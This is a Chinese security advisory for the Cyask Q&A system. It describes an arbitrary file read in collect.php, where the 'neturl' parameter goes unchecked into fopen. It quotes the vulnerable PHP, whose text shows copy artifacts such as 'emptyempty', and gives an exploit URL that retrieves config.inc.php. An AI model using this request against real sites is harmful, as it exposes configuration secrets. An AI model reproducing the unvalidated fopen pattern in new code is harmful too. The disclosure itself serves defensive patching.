cyask知道系统collect.php页面存在越权漏洞


添加时间:
2009-05-08

系统编号:
WAVDB-01406

影响版本:
Cyask

程序介绍:

Cyask国内较为多人使用的仿百度风格的Ask系统。

漏洞分析:

从Collect.php代码当中可以看到

 
  1. else  
  2. {   
  3. /*  
  4. 检查网址  
  5. */  
  6. $url=get_referer();   
  7. $neturl=emptyempty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);   
  8.   
  9. $collect_url=emptyempty($neturl) ? $url : $neturl;   
  10.   
  11. $contents = ”;   
  12. if($fid=@fopen($collect_url,”r“))   
  13. {   
  14. do  
  15. {   
  16. $data = fread($fid, 4096);   
  17. if (strlen($data) == 0)   
  18. {   
  19. break;   
  20. }   
  21. $contents .= $data;   
  22. }   
  23. while(true);   
  24. fclose($fid);   
  25. }   
  26. else  
  27. {   
  28. show_message(’collect_url_error’, ”);   
  29. exit;   
  30. }   


漏洞利用:

http://www.target.com/collect.php?neturl=config.inc.php

解决方案:
厂商补丁：
cyask
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://www.cyask.com

信息来源:
<*来源: Neeao's Security Blog
链接: http://www.neeao.com/article/6231/ *>